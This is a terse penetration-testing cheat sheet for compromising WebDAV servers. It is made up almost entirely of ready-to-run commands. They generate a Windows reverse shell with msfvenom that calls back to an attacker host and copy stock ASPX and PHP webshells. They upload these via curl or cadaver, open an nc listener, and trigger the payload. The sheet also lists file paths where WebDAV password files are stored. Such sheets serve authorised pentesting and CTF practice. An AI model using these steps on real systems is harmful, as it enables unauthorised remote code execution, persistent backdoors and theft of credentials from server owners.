WebDAV

Port 80

1) Connection

cadaver http://domain.local/webdav

2) Exploitation

1. Generate a reverse shell

Windows machine

msfvenom -p windows/x64/shell_reverse_tcp LHOST=$IP LPORT=80 -f aspx -o shell.aspx

OR use a webshell instead

cp /usr/share/webshells/aspx/cmdasp.aspx .

Linux machine

cp /usr/share/webshells/php/php-reverse-shell.php .

2. Upload payload via WebDAV

curl -T 'shell.aspx' 'http://$VictimIP/' -u <username>:<password>

OR in Cadaver

put shell.aspx
put php-reverse-shell.php

3. Start the listener

nc -lvnp 80

4. Trigger the payload

curl http://$VictimIP/shell.aspx

3) WebDAV credentials file location

/var/www/html/webdav/passwd.dav
/var/www/dav/passwd.dav